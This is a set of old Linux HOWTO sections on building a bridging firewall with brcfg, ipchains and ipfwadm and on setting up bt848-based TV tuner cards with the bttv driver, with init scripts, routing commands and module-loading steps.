For kernels later than 2.2.13 you definitely want to use the newer bridge configuration utility bridgex. I am not sure if it works with earlier kernels or not. Not that the URL for this utility is found in the kernel configuration help file /usr/src/linux/Documentation/Configure.help, so if the URL mentioned here is not correct, look in the help file (it is the help for the CONFIG_BRIDGE kernel configuration item. The bridgex tarball contains an already compiled executable, but you should probably remake it using the included Makefile. Note that the bridgex utility takes slightly different arguments than does the BRCFG package (that will be covered later when I talk about configuring the bridge).

3.4 Kernel Configuration

You will need to patch and configure your kernel for bridging and the bridging filter (as well as firewalling, networking, etc. if you do not already have it). The following kernel configuration items will be needed (at least):

  CONFIG_EXPERIMENTAL=y
  CONFIG_BRIDGE=y
  CONFIG_FIREWALL=y
  CONFIG_IP_FIREWALL=y

You should grab the Bridge Filter Patch and apply it to your kernel. Recompile and install your kernel and then reboot.

3.5 Putting It All Together

So you should have your two NIC's working, a newly configured kernel, and brcfg installed. Now you need to construct a startup script to put it all together. I did this using the RedHat type startup scripts (/etc/rc.d). I put specific network addresses and masks in /etc/sysconfig/network:

 GATEWAY=192.168.2.129          # the address of the DSL router
 GATEWAYDEV=eth1                # the NIC that the router is connected to
 ETH0_ADDR=192.168.2.130        # the IP address for the NIC on our LAN
 ETH0_MASK=255.255.255.192      # the netmask of our LAN
 ETH0_BROAD=192.168.2.191       # the broadcast address of our LAN
 ETH1_ADDR=192.168.2.130        # the IP address for the NIC on the DSL side
                                # can be different from ETH0_ADDR if you want
 ETH1_MASK=$ETH0_MASK           # the DSL side netmask, should be the same as eth0
 ETH1_BROAD=$ETH1_BROAD         # ditto for the broadcast address

Next I created a script in /etc/rc.d/init.d/bridge to setup the bridge. I include two scripts here. The first script is used with the old BRCFG utility, the second for the newer bridgex. First the one for the older BRCFG:

#!/bin/sh
#
# bridge      This shell script takes care of installing bridging for dsl with BRCFG
#
# description: Uses brcfg to start bridging and ifconfigs eths
# processname: bridge
# config:

# Source function library.
. /etc/rc.d/init.d/functions

# Source networking configuration.
. /etc/sysconfig/network

# See how we were called.
case "$1" in
  start)
        echo -n "Configuring bridge: "
        ifconfig eth0 $ETH0_ADDR netmask $ETH0_MASK broadcast $ETH0_BROAD
        ifconfig eth1 $ETH1_ADDR netmask $ETH1_MASK broadcast $ETH1_BROAD
        route add $GATEWAY dev $GATEWAYDEV
        route add default gw $GATEWAY dev $GATEWAYDEV
        ifconfig eth0 promisc
        ifconfig eth1 promisc
        brcfg -enable
        echo
        ;;
  stop)
        # Stop daemons.
        brcfg -disable
        ifconfig eth0 down
        ifconfig eth1 down
        ;;
  restart)
        $0 stop
        $0 start
        ;;
  status)
        ifconfig eth0
        ifconfig eth1
        brcfg
        ;;
  *)
        echo "Usage: bridge {start|stop|restart|status}"
        exit 1
esac

exit 0

The next script is the one to use with the newer bridge configuration utility bridgex. Note that bridgex is much more configurable than the older BRCFG and so you may want to look man page included with the bridgex tarball and custom configure this script:

#!/bin/sh
#
# bridge      This shell script takes care of installing bridging for dsl with BRCFG
#!/bin/sh
#
# bridge      This shell script takes care of installing bridging for dsl with bridgex
#
# description: Uses brcfg to start bridging and ifconfigs eths
# processname: bridge
# config:

# Source function library.
. /etc/rc.d/init.d/functions

# Source networking configuration.
. /etc/sysconfig/network

# See how we were called.
case "$1" in
  start)
        echo -n "Configuring bridge: "
        ifconfig eth0 $ETH0_ADDR netmask $ETH0_MASK broadcast $ETH0_BROAD
        ifconfig eth1 $ETH1_ADDR netmask $ETH1_MASK broadcast $ETH1_BROAD
        route add default gw $GATEWAY dev $GATEWAYDEV
        ifconfig eth0 promisc
        ifconfig eth1 promisc
        brcfg start
        brcfg device eth0 enable
        brcfg device eth1 enable
        echo
        ;;
  stop)
        # Stop daemons.
        brcfg stop
        ifconfig eth0 down
        ifconfig eth1 down
        ;;
  restart)
        $0 stop
        $0 start
        ;;
  status)
        ifconfig eth0
        ifconfig eth1
        brcfg
        ;;
  *)
        echo "Usage: bridge {start|stop|restart|status}"
        exit 1
esac

exit 0

The script is run during bootup. It assigns addresses to each NIC, adds a default route that goes to the DSL router, adds a specific route direct to the DSL router, puts each NIC in "promiscuous" mode, and then enables bridging. I linked this script into the following directories in /etc/rc.d:

 /etc/rc.d/rc0.d/K90bridge
 /etc/rc.d/rc1.d/K90bridge
 /etc/rc.d/rc2.d/S11bridge
 /etc/rc.d/rc3.d/S11bridge
 /etc/rc.d/rc4.d/S11bridge
 /etc/rc.d/rc5.d/S11bridge
 /etc/rc.d/rc6.d/K90bridge

This makes it run right after the network start script. You should disable other configuration of eth0 (or eth1) such as done in the /etc/rc.d/init.d/network script (in RedHat by removing files ifcfg-eth? from /etc/sysconfig/network-scripts/).

To try things out, I suggest rebooting in single user mode (specify "single" as an arg to the kernel, e.g. in lilo "lilo: linux single") and running the startup scripts in /etc/rc.d/rc3.d one at a time until you get to the bridge startup. Startup the bridge and then see if you can reach some machines (you probably want to use "ping -n" for this to keep the nameserver out of the equation):

  • ping the DSL router
  • ping a local machine
  • ping a machine on the global net

If you can ping all those places, there is a good chance that things are working. Note that the bridge takes a few moments to startup. You can monitor the status of the bridge by issuing the command brcfg with no arguments.

3.6 Firewall Setup

You still need to setup your firewall (assuming you want one) to prevent unauthorized access. The Bridge Filter Patch that you applied allows you to use a new built-in rule "bridgein" with ipchains. This rule is used whenever a packet is going to be forwarded either from eth0 to eth1 or vice versa. The bridgein rule is not used when a packet is destined for the firewall itself; you will want to use the input rule for that. I will not attempt to delve into the firewall setup in detail; please see the IPCHAINS HOWTO for that.

3.7 Local Machine Setup

For each of your local machines, you simply have to setup the proper IP address and netmask and use the DSL router for the gateway (default route). The firewall/bridge will bridge the packets to/from the DSL router.


Bridge + Firewall + DSL Mini-HOWTO: Quirks and Problems

 Next Previous Contents

4. Quirks and Problems

4.1 Odd message when using ipchains -X

The patch to add the bridgein built-in rule to ipchains makes the "delete all chains" command, ipchains -X, issue the following error:

 ipchains: Device or resource busy

As far as I can tell this is harmless. I suspect that ipchains does not understand that the new bridgein rule is a builtin.

4.2 Shared Interrupts

As I mentioned in Hardware Setup, at least for PCI NIC's you do not want to share interrupts between the two cards (or probably with any other device).


Linux Bridge+Firewall Mini-HOWTO version 1.2.0: Introduction

 Next Previous Contents

1. Introduction

You should look at the original Bridging mini-HOWTO by Chris Cole for a different perspective on this. He is chris@polymer.uakron.edu. The version of his HOWTO that I have based this document on (alternatively, ripped off) is 1.03 dated Aug 23 1996.


Linux Bridge+Firewall Mini-HOWTO version 1.2.0: What and Why (and How?)

 Next Previous Contents

2. What and Why (and How?)

2.1 What

A bridge is an intelligent connecting wire betwen two network cards. A firewall is an intelligent insulator.

2.2 Why

You might want a bridge if you have several computers:

  1. to save the price of a new hub when you just happen to have an extra ethernet card available.
  2. to save the bother of learning how to do IP-forwarding and other tricks when you _have_ two cards in your computer.
  3. to avoid maintenance work in the future when things change around!

``Several computers'' might be as few as three if those are routing or bridging or just moving around the room from time to time! You also might want a bridge just for the fun of finding out what it does. 2 was what I wanted a bridge for.

If you are really interested in 1, you have to be one of the very few. Check the NET-2-HOWTO and the Serial-HOWTO for better tricks.

You want a firewall if

  1. you are trying to protect your network from external accesses, or
  2. you are trying to deny access to the world outside from your network.

Curiously, I needed 2 here too. Policy at my university presently is that we should not act as internet service providers to undergraduates.

2.3 How?

I started out bridging the network cards in a firewalling machine and ended up firewalling without having cut the bridge. It seems to work and is more flexible than either configuration alone. I can take down the firewall and keep bridging or take down the bridge when I want to be more circumspect.

I would guess that the bridge code lives just above the physical device layer and the firewalling code lives one layer higher up, so that the bridging and firewalling configurations effectively act as though they are running connected together ``in sequence'' and not ``in parallel'' (ouch!). Diagram:

-> Bridge-in -> Firewall-in -> Kernel -> Firewall-out -> Bridge-out ->

There is no other way to explain how one machine can be a ``conductor'' and an ``insulator'' at the same time. There are a few caveats but I'll come to those later. Basically you must route packets that you want to firewall. Anyway, it all seems to work together nicely for me. Here is what you do ...


Linux Bridge+Firewall Mini-HOWTO version 1.2.0: BRIDGING

 Next Previous Contents

3. BRIDGING

3.1 Software

Get the bridge configuration utility from Alan Cox's home pages. This is the same reference as in Chris' document. I just didn't realize that it was an ftp and not an http URL ...

3.2 Prior Reading.

Read the Multiple Ethernet HOWTO for some advice on getting more than one network card recognized and configured.

Yet more details of the kind of boot magic that you may need are in the Boot Prompt HOWTO.

You may be able to get away without the NET-2 HOWTO. It is a good long read and you will have to pick from it the details you need.

3.3 Boot configuration

The reading material above will tell you that you need to prepare the kernel to recognize a second ethernet device at boot up by adding this to your /etc/lilo.conf, and then re-run lilo:

append = "ether=0,0,eth1"

Note the "eth1". "eth0" is the first card. "eth1" is the second card. You can always add the boot parameters in your response to the line that lilo offers you. This is for three cards:

linux ether=0,0,eth1 ether=0,0,eth2

I use loadlin to boot my kernel from DOS:

loadlin.exe c:\vmlinuz root=/dev/hda3 ro ether=0,0,eth1 ether=0,0,eth2

Note that this trick makes the kernel probe at bootup. That will not happen if you load the ethernet drivers as modules (for safety since the probe order can't be determined) so if you use modules you will have to add the appropriate IRQ and port parameters for the driver in your /etc/conf.modules. I have at least

alias eth0 3c509
alias eth1 de620
options 3c509 irq=5 io=0x210
options de620 irq=7 bnc=1

You can tell if you use modules by using ``ps -aux'' to see if kerneld is running and checking that there are .o files in a subdirectory of your /lib/modules directory. You want the directory named with what uname -r tells you. If you have kerneld and/or you have a foo.o then edit /etc/conf.modules and read the man page for depmod carefully.

Note also that until recently (kernel 2.0.25) the 3c509 driver could not be used for more than one card if used as a module. I have seen a patch floating around that fixes the oversight. It may be in the kernel when you read this.

3.4 Kernel configuration

Recompile the kernel with bridging enabled.

CONFIG_BRIDGE=y

I also compiled with firewalling and IP-forwarding and -masquerading and the rest enabled. Only if you want firewalling too ...

CONFIG_FIREWALL=y
CONFIG_NET_ALIAS=y
CONFIG_INET=y
CONFIG_IP_FORWARD=y
CONFIG_IP_MULTICAST=y
CONFIG_IP_FIREWALL=y
CONFIG_IP_FIREWALL_VERBOSE=y
CONFIG_IP_MASQUERADE=y

You don't need all of this. What you do need apart from this is the standard net configuration:

CONFIG_NET=y

and I do not think you need worry about any of the other networking options. I have any options that I did not actually compile into the kernel available through kernel modules that I can add in later.

Install the new kernel in place, rerun lilo and reboot with the new kernel. Nothing should have changed at this point!

3.5 Network addresses

Chris says that a bridge should not have an IP address but that is not the setup to be described here.

You are going to want to use the machine for connecting to the net so you need an address and you need to make sure that you have the loopback device configured in the normal way so that your software can talk to the places they expect to be able to talk to. If loopback is down the name resolver or other net sevices might fail. See the NET-2-HOWTO, but your standard configuration should already have done this bit:

ifconfig lo 127.0.0.1 route add -net 127.0.0.0

You will have to give addresses to your network cards. I altered the /etc/rc.d/rc.inet1 file in my slackware (3.x) to setup two cards and you should also essentially just look for your net configuration file and double or treble the number of instructions in it. Suppose that you already have an address at

192.168.2.100

(that is in the private net reserved address space, but never mind - it won't hurt anybody if you use this address by mistake) then you probably already have a line like

ifconfig eth0 192.168.2.100 netmask 255.255.255.0 metric 1

in your configuration. The first thing you are going to probably want to do is cut the address space reached by this card in half so that you can eventually bridge or firewall the two halves. So add a line which reduces the mask to address a smaller number of machines:

ifconfig eth0 netmask 255.255.255.128

Try it too. That restricts the card to at most the address space between .0 and .127.

Now you can set your second card up in the other half of the local address space. Make sure that nobody already has the address. For symmetry I set it at 228=128+100 here. Any address will do so long as it is not in the other card's mask, and even then, well, maybe. Avoid special addresses like .0, .1, .128 etc. unless you really know what you are doing.

ifconfig eth1 192.168.2.228 netmask 255.255.255.128 metric 1

That restricts the second card to addresses between .128 and .255.

3.6 Network routing

This is where I have to announce the caveats in the bridging + firewalling scheme: you cannot firewall packets which are not routed. No routes, no firewall. At least this appears to be true in the 2.0.30 and more recent kernels. The firewalling filters are closely involved with the ip-forwarding code.

That does not mean that you cannot bridge. You can bridge between two cards and firewall them from a third. You can have only two cards and firewall both of them against an outside IP such as a nearby router, provided that the router is routed by you to exactly one of the cards.

In other words, since I will be doing firewalling, so I want to precisely control the physical destination of some packets.

I have the small net of machines attached to a hub hanging off eth0, so I configure a net there:

route add -net 192.168.2.128 netmask 255.255.255.128 dev eth0

The 128 would be 0 if I had a full class C network there. I don't, by definition, since I just halved the address space. The "dev eth0" is not necessary here because the cards address falls within the mask, but it may be necessary for you. One might need more than one card holding up this subnet (127 machines on one segment, oh yeah) but those cards would be being bridged under the same netmask so that they appear as one to the routing code.

On the other card I have a line going straight through to a big router that I trust.

                                             client 129
         __                                        |    __
client 1   \    .0                    .128         |   /   net 1
client 2 --- Hub - eth0 - Kernel - eth1 - Hub - Router --- net 2
client 3 __/       .100            .228         .2 |   \__ net 3
                                                   |
                                             client 254

I attach the address of the router to that card as a fixed ("static") route because it would otherwise fall within the first cards netmask and the kernel would be thinking wrongly about how to send packets to the big router. I will want to firewall these packets and that is another reason fow wanting to route them specifically.

route add 192.168.2.2 dev eth1

I don't need it, since I don't have any more machines in that half of the address space, but I declare a net also on the second card. Separating my interfaces into two sets via routing will allow me to do very tight firewalling eventually , but you can get away with far less routing than this.

route add -net 192.168.2.128 netmask 255.255.255.128 dev eth1

I also need to send all non-local packets out to the world so I tell the kernel to send them to the big router

route add default gw 192.168.2.2

3.7 Card configuration

So much was standard networking setup, but we are bridging so we also have to listen on both (?) cards for packets that are not aimed at us. The following should go into the network configuration file.

ifconfig promisc eth0 ifconfig promisc eth1

The man page says allmulti=promisc, but it didn't work for me.

3.8 Additional routing

One thing that I noticed was that I had to put at least the second card into a mode where it would respond to the big router's questions about which machines I was hiding in my local net.

ifconfig arp eth1

For good measure I did this to the other card too.

ifconfig arp eth0.

3.9 Bridge Configuration

Put bridging enabling on and into your configuration file:

brcfg -enable

You should have been trying this out in real time all along, of course! The bridge configure will bring up some numbers. You can experiment with turning on and off the ports one at a time

brcfg -port 0 -disable/-enable
 brcfg -port 1 -disable/-enable

You get status reports anytime by just running

brcfg

without any parameters. You will see that the bridge listens,learns, and then does forwarding. (I don't understand why the code repeats the same hardware addresses for both my cards, but never mind .. Chris' howto say that is OK)

3.10 Try it out

If you are still up and running as things are, try out your configuration script for real by taking down both cards and then executing it:

ifconfig eth0 down ifconfig eth1 down /etc/rc.d/rc.inet1

With any luck the various subsystems (nfs, ypbind, etc.) won't notice. Do not try this unless you are sitting at the keyboard!

If you want to be more careful than this, you should take down as many daemons as possible beforehand, and unmount nfs directories. The worst that can happen is that you have to reboot in single-user mode (the "single" parameter to lilo or loadlin), and take out your changes before rebooting with things the way they were before you started.

3.11 Checks

Verify that there is different traffic on each interface:

tcpdump -i eth0
(in one window)
tcpdump -i eth1
(in another window)

You should get used to using tcpdump to look for things that should not be happening or that are happening and should not.

For instance look for packets that have gone through the bridge to the second card from the internal net. Here I am looking for packets from the machine with address .22:

tcpdump -i eth1 -e host 192.168.2.22

Then send a ping from the .22 host to the router. You should see the packet reported by tcpdump.

At this stage you should have a bridge ready that also has two network addreses. Test that you can ping them from outside and inside your local net, and that you can telnet and ftp around between inside and outside too.


Linux Bridge+Firewall Mini-HOWTO version 1.2.0: FIREWALLING

 Next Previous Contents

4. FIREWALLING

4.1 Software and reading

You should read the Firewall-HOWTO.

That will tell you where to get ipfwadm if you don't already have it. There are other tools you can get but I made no progress until I tried ipfwadm. It is nice and low level! You can see exactly what it is doing.

4.2 Preliminary checks

You have compiled IP-forwarding and masquerading into the kernel so you will want to check that the firewall is in its default (accepting) state with

ipfwadm -I -l ipfwadm -O -l ipfwadm -F -l

That is respectively, "display the rules affecting the .." incoming or outgoing or forwarding (masquerading) ".. sides of the firewall". The "-l" means "list".

You might have compiled in accounting too:

ipfwadm -A -l

You should see that there are no rules defined and that the default is to accept every packet. You can get back to this working state anytime with

ipfwadm -I -f
ipfwadm -O -f
ipfwadm -F -f

The "-f" means "flush". You may need to use that.

4.3 Default rule

I want to cut the world off from my internal net and do nothing else, so I will want to give as a last (default) rule that the firewall should ignore any packets coming in from the internal net and directed to outside. I put all the rules (in this order) into /etc/rc.d/rc.firewall and execute it from /etc/rc.d/rc.local at bootup.

ipfwadm -I -a reject -S 192.168.2.0/255.255.255.128 -D 0.0.0.0/0.0.0.0

The "-S" is the source address/mask. The "-D" is the destination address/mask.

This format to is rather long-winded. Ipfwadm is intelligent about network names and some common abbreviations. Check the man pages.

It is possibly more convenient to put some or all of these rules on the outgoing half of the firewall by using "-O" instead of "-I", but I'll state the rules here all formulated for the incoming half.

4.4 Holes per address

Before that default rule, I have to place some rules that serve as exceptions to this general denial of external services to internal clients.

I want to treat the firewall machines address on the internal net specially. I will stop people logging in to the firewall machine unless they have special permission, but once they are there they should be allowed to talk to the world.

ipfwadm -I -i accept -S 192.168.2.100/255.255.255.255 \
 -D 0.0.0.0/0.0.0.0

I also want the internal clients to be able to talk to the firewalling machine. Maybe they can persuade it to let them get out!

ipfwadm -I -i accept -S 192.168.2.0/255.255.255.128 \
 -D 192.168.2.100/255.255.255.255

Check at this point that you can get in to the clients from outside the firewall via telnet, but that you cannot get out. That should mean that you can just about make first contact, but the clients cannot send you any prompts. You should be able to get all the way in if you use the firewall machine as a staging post. Try rlogin and ping too, with tcpdump running on one card or the other. You should be able to make sense of what you see.

4.5 Holes per protocol

I went on to relax the rules protocol by protocol. I want to allow pings from the outside to the inside to get an echo back, for instance, so I inserted the rule:

ipfwadm -I -i accept -P icmp -S 192.168.2.0/255.255.255.128 \
 -D 0.0.0.0/0.0.0.0

The "-P icmp" works the protocol-specific magic.

Until I get hold of an ftp proxy I am also allowing ftp calls out with port-specific relaxations. This targets ports 20 21 and 115 on outside machines.

ipfwadm -I -i accept -P tcp -S 192.168.2.0/255.255.255.128 \
 -D 0.0.0.0/0.0.0.0 20 21 115

I could not make sendmail between the local clients work without a nameserver. Rather than set up a nameserver right then on the firewall, I just lifted the firewall for tcp domain service queries precisely aimed at the nearest existing nameserver and put its address in the clients /etc/resolv.conf ("nameserver 123.456.789.31" on a separate line).

ipfwadm -I -i accept -P tcp -S 192.168.2.0/255.255.255.128 \
 -D 123.456.789.31/255.255.255.255 54

You can find which port number and protocol a service requires with tcpdump. Trigger the service with a an ftp or a telnet or whatever to or from the internal machine and then watch for it on the input and output ports of the firewall with tcpdump:

tcpdump -i eth1 -e host client04

for example. The /etc/services file is another important source of clues. To let telnet and ftp IN to the firewall from outside, you have to allow the local clients to call OUT on a specific port. I understand why this is necessary for ftp - it's the server that establishes the data stream in the end - but I am not sure why telnet also needs this.

ipfwadm -I -i accept -P tcp -S 192.168.2.0/255.255.255.128 ftp telnet \
 -D 0.0.0.0/0.0.0.0

There is a particular problem with some daemons that look up the hostname of the firewalling machine in order to decide what is their networking address. Rpc.yppasswdd is the one I had trouble with. It insists on broadcasting information that says it is outside the firewall (on the second card). That means the clients inside can't contact it.

Rather than start IP aliasing or change the daemon code, I mapped the name to the inside card address on the clients in their /etc/hosts.

4.6 Checks

You want to test that you can still telnet, rlogin and ping from the outside. From the inside you should be able to ping out. You should also be able to telnet to the firewall machine from the inside and the latter should be able to do anything.

That is it. At this point you probably want to learn about rpc/Yellow Pages and the interaction with the password file. The firewalled network wants to run without its unprivileged users being able to log on to the firewall - and thus get out. Some other HOWTO!


The BTTV Mini-HOWTO

By Eric Sandeen, eric_sandeen@bigfoot.com

v0.3, February 2000

This document describes the hardware, software, and procedures needed to use a bt8x8 chipset based frame grabber or TV tuner card under Linux.

1. Introduction

  • 1.1 Copyright of this document
  • 1.2 Where to get this document
  • 1.3 Acknowledgments
  • 1.4 Disclaimer

2. Hardware Requirements

3. Software Requirements

4. System Configuration

  • 4.1 Hardware Installation
  • 4.2 Kernel Configuration
  • 4.3 Using the updated 0.6.x packages
  • 4.4 Special files in /dev
  • 4.5 Loading the Modules
  • 4.6 Automating the process

5. Applications

6. Appendix - Arguments for All Modules


The BTTV Mini-HOWTO : Introduction

 Next Previous Contents

1. Introduction

The ability to capture and view video sources is one of the more interesting multimedia features of Linux. Many different types of video devices are supported via the video4linux API ( http://roadrunner.swansea.uk.linux.org/v4l.shtml), including several TV tuner cards based on the Conexant bt848 and bt878 chipsets. This document explains how to use these cards on a Linux system.

1.1 Copyright of this document

This HOWTO is copyrighted 1999 Eric Sandeen.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO co-ordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have questions, please contact Tim Bynum, the Linux HOWTO co-ordinator, at linux-howto@metalab.unc.edu via email.

1.2 Where to get this document

The most recent official version of this document can be obtained from the Linux Documentation Project http://metalab.unc.edu/LDP/.

1.3 Acknowledgments

Thanks to Ralph Metzler and Marcus Metzler for writing the original bttv driver. Also, Alan Cox for creating the Video4Linux API, Gerd Knorr for his work on the radio cards, subsequent bttv releases, and xawtv. And everyone else who contributed to Linux support for these cards. Thanks to William Burrow, who also wrote a BTTV Howto (which I learned about after I wrote this document...) I have improved this guide, thanks to his work.

In writing this HOWTO I have drawn heavily on the bttv and xawtv documentation.

1.4 Disclaimer

Use the information in this document at your own risk. I disavow any potential liability for the contents of this document. Use of the concepts, examples, and/or other content of this document is entirely at your own risk.

All copyrights are owned by their owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements. You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.


The BTTV Mini-HOWTO : Hardware Requirements

 Next Previous Contents

2. Hardware Requirements

From the bttv README:

Bttv is a device driver for frame grabber cards using the Conexant ( http://www.conexant.com) Bt848 family of video decoder chips. Among those are the Bt848, Bt848A, Bt849, Bt878 and Bt879. The only major differences between the cards by different manufacturers are the types of tuners and extra components on the boards. E.g., some cards by Hauppauge have an additional Videotext decoder and/or sound decoder chip. Only some of these additional components are supported by bttv. Also, type (Composite or S-Video) and number of inputs differ.

The following cards should work:

  • AverMedia TV98
    • http://www.aver.com/products.html
  • AVerMedia TV-Phone
    • http://www.aver.com/lite/products/avertvphone.html
  • Diamond DTV2000
    • http://www.diamondmm.com/products/current/dtv-2000.cfm
  • Hauppauge Win/TV pci (and other Hauppauge cards)
    • http://www.hauppauge.com/
  • IDS Imaging FALCON
    • http://www.ids-imaging.de/
  • Lifeview Flyvideo II
    • http://www.lifeview.de/lifeview/html/produkte.htm#karte
  • Matrix Vision MV-Delta
    • http://www.matrix-vision.de/
  • miroVIDEO PCTV
    • http://www.pinnaclesys.com/
  • Osprey-100
    • http://www.mmac.com/products/osprey/osprey100.html
  • STB TV PCI
    • http://www.stb.com/products/multimedia/tvpci/tvpci.html
  • Terratec TERRA TV+
    • http://www.terratec.de/produkte/terratv/terratv_info.htm
  • Videologic Captivator PCI
    • http://www.videologic.com/Productinfo/capt_pci.htm

If you know of other cards which work, please email me and I'll add them in the next revision of this document.


The BTTV Mini-HOWTO : Software Requirements

 Next Previous Contents

3. Software Requirements

To use these TV tuner cards under Linux, you will need the appropriate kernel drivers. The bttv drivers have been a part of the kernel distribution since version 2.2.0.

Alternately, you can get the latest version of tbe driver package and use it with 2.0.35 or newer kernels. However, it's not guaranteed to work with the older 2.0.x series kernels. The updated bttv package is available from http://www.thp.uni-koeln.de/~rjkm/linux/bttv.html, and an even more updated version is available from Gerd Knorr at http://www.in-berlin.de/User/kraxel/xawtv.html These packages add support for more audio chips, including the TEA6300, TDA8425, and DPL3518.

If you're new to the world of the bttv driver, I would suggest starting with the version included with the latest kernel. If you find that you have trouble with it, or that it does not support your card, then venture out to the updated 0.6 series drivers at the locations shown above. If you're feeling really adventurous, you can try Gerd Knorr's 0.7 series drivers, due to be incorporated in the 2.4 kernel. The 0.7 series drivers are also available at http://www.in-berlin.de/User/kraxel/xawtv.html.

This document is based primarily on the 2.2.14 kernel drivers, with some mention of the features available in the updated 0.6 series driver packages. The 0.7 series is currently not covered, as it is in heavy development at the time of this writing.


The BTTV Mini-HOWTO : System Configuration

 Next Previous Contents

4. System Configuration

4.1 Hardware Installation

(Thanks to William Burrow for this section.)

If you are afraid to open the case of your computer, be sure to read over this entire HOWTO first and make notes about the card, such as its tuner type, integrated circuit numbers, the frequencies of the crystal(s) and so on. Then get someone competent to install the card for you.

Otherwise, open the case and install the card in an available slot. Pick one that supports PCI bus transfers and PCI bus mastering, if your mainboard is picky about this (see your mainboard's manual). You will want this for overlay mode.

For sound, there are two different ways to connect your video grabber card and your sound card. One way is internal routing. Connect your CD-ROM audio cable to the video card sound input and the video card output to the sound card CD-ROM or Tuner audio input. Another way is to connect the external 1/8'' audio jack on the video card to the audio card's 1/8'' line audio in jack. You can also just plug amplified speakers into the grabber card audio out if you do not have an audio card or don't want to route through the sound card. (A few of the newer bt878 cards don't have any sound connector, because they send digital audio data across the PCI bus. There is no support for this at the time of this writing.)

A video source is also handy, especially for determining if the card is working or not. Many cards handle composite video in, S-Video in and, if equipped with a tuner, RF in. There is a separate connector for each of these inputs.

4.2 Kernel Configuration

Your kernel will need to be correctly configured to support your card. Most newer Linux distributions come with the necessary modules already compiled, so if you can find the videodev.o, bttv.o, and tuner.o under /lib/modules/2.x.x/misc, you should be ready to go.

If not, you'll need to recompile your kernel with

CONFIG_VIDEO_DEV

and

CONFIG_VIDEO_BT848

enabled, preferably as loadable modules. See the Linux Kernel HOWTO ( http://www.linuxdoc.org/HOWTO/Kernel-HOWTO.html) for details on recompiling your kernel.

4.3 Using the updated 0.6.x packages

If you want to use the updated 0.6.x package, you should first retrieve the archive from one of the sites mentioned above. Extract it with

tar -xvzf bttv-0.6.x.tar.gz

and change to the newly created directory. su to root, and type

make

in the main directory to create the drivers. (You can safely ignore the information in the INSTALL file about editing makefiles, and the like, since we will pass this information to the driver as module parameters.) Then, type

make install

to install them. Finally, run

/sbin/depmod -a

to update your module dependency information.

4.4 Special files in /dev

Next, you may need to make the special character files in the /dev directory. Type ls /dev/video*; ls /dev/radio* to see if these devices already exist. If not, you'll need to create them. All of the files have major device number 81, and the minor device numbers depend on the specific device (video, radio, etc.) as well as multiple instances of these files. See the Video4Linux API ( http://roadrunner.swansea.uk.linux.org/v4lapi.shtml) for the programming-related details.

There is a MAKEDEV script in the driver directory of the bttv driver package which will create four video devices for you. You can also do it yourself fairly easily if you only have one video capture card. As root, type:

mknod /dev/video0 c 81 0

chmod 666 /dev/video0

ln -s /dev/video0 /dev/video

mknod /dev/radio0 c 81 64

chmod 666 /dev/radio0

ln -s /dev/radio0 /dev/radio

There are also videotext and VBI devices which can be created if you have an application which needs them. (Currently, there are only a few.) Type:

mknod /dev/vtx0 c 81 192

chmod 666 /dev/vtx0

ln -s /dev/vtx0 /dev/vtx

mknod /dev/vbi0 c 81 224

chmod 666 /dev/vbi0

ln -s /dev/vbi0 /dev/vbi

4.5 Loading the Modules

The bttv driver provides many different modules, with many different options, as described in the appendix of this document. With so many modules and options, you may wish to do this by hand until you get everything working. On the off chance that this causes your box to crash, it wouldn't hurt to type

sync; sleep 1; sync

to flush any dirty disk buffers before proceeding. Then, using the insmod command as root, try loading up the modules. The first two are easy, because they don't usually need any options:

insmod videodev

insmod i2c

Now you're ready to load the bttv module itself:

modprobe bttv

By default, the bttv module attempts to autodetect your card type. Watch /var/log/messages to see what it finds. If it doesn't autodetect properly, you can add the card=n option to the end of the previous command to force a card type, with n chosen from the following list. (Types 0 through 19 are provided in the kernel series driver, bttv-0.6.4h contains support for types 20 through 27) You can also add the radio=1 option if your card has FM tuner functionality.

card=n          card type
                0:  Auto-Detect
                1:  Miro
                2:  Hauppauge (old bt848 boards)
                3:  STB
                4:  Intel
                5:  Diamond
                6:  AVerMedia
                7:  MATRIX Vision MV-Delta
                8:  FlyVideo
                9:  TurboTV
                10: Hauppauge (new bt878 boards)
                11: MIRO PCTV pro
                12: Terratec/Vobis TV-Boostar
                13: Newer Hauppauge WinCam (bt878)
                14: MAXI TV Video PCI2
                15: Terratec TerraTV+
                16: Aimslab VHX
                17: PXC200
                18: AVermedia98
                19: FlyVideo98 (newer FlyVideo cards)
                20: Zoltrix TV-Max
                21: iProTV
                22: ADS Technologies Channel Surfer TV
                23: Pixelview PlayTV (bt878)
                24: Leadtek WinView 601
                25: AVEC Intercapture
                26: LifeView FlyKit w/o Tuner
                27: Intel Create and Share PCI

Next, load the tuner module, with

modprobe tuner type=n

You will probably need to dig into your case to see which tuner you have. Some cards (Miro and Hauppauge) allow the tuner to be automatically detected, but you may need to specify it. The tuner should be marked with the brand name, and you can look at the crystals (little aluminum cans) on the board to see if you have an NTSC or a PAL tuner. For PAL, the crystal is marked 28.xxxMHz (where xxx are three digits). For NTSC, the canister should say 35.xxxMHz. Once you have identified your tuner, select the value of n from the following list (types 8 and 9 are included only in bttv-0.6.4h):

type=n          type of the tuner chip. n as follows:
                0: Temic PAL tuner
                1: Philips PAL_I tuner
                2: Philips NTSC tuner
                3: Philips SECAM tuner
                4: no tuner
                5: Philips PAL tuner
                6: Temic NTSC tuner
                7: Temic PAL tuner
                8: Alps TSBH1 NTSC tuner
                9: Alps TSBE1 PAL tuner

Finally, insert any sound modules you may need. Again, you will probably need to take a very close look at the card to see what you've got. Note that drivers for TEA6300, TDA8425, TDA9855, and DPL3518 chips are only included in the 0.6.4h series driver, and are not included with the current (2.2.14) kernel drivers.

modprobe msp3400 or tea3600 or tda8425 or tda9855 or dpl3518(see the appendix for details and options)

